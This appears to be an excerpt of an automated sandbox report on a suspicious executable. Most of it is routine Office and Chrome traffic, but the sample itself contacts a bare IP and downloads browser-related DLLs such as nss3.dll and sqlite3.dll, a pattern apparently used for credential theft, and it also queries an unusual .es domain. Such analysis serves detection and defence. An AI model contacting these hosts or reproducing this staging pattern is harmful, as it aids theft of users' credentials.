Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 77.83.175.105Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /4db719b1f2f948b0/sqlite3.dll HTTP/1.1Host: 77.83.175.105Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /4db719b1f2f948b0/freebl3.dll HTTP/1.1Host: 77.83.175.105Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /4db719b1f2f948b0/mozglue.dll HTTP/1.1Host: 77.83.175.105Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /4db719b1f2f948b0/msvcp140.dll HTTP/1.1Host: 77.83.175.105Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /4db719b1f2f948b0/nss3.dll HTTP/1.1Host: 77.83.175.105Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /4db719b1f2f948b0/softokn3.dll HTTP/1.1Host: 77.83.175.105Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /4db719b1f2f948b0/vcruntime140.dll HTTP/1.1Host: 77.83.175.105Cache-Control: no-cache

Source: chrome.exe, 00000001.00000003.1747767892.0000283800660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000001.00000003.1747767892.0000283800660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000001.00000003.1755934704.0000283800F48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1756129548.0000283800F04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1755845943.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000001.00000003.1755934704.0000283800F48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1756129548.0000283800F04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1755845943.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000001.00000003.1747767892.0000283800660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000001.00000003.1747767892.0000283800660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: campuspersever.es

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 913sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: X9d3758tok.exe, 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmp, X9d3758tok.exe, 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.83.175.105
Source: X9d3758tok.exe, 00000000.00000002.2251891155.0000000000893000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.83.175.105/
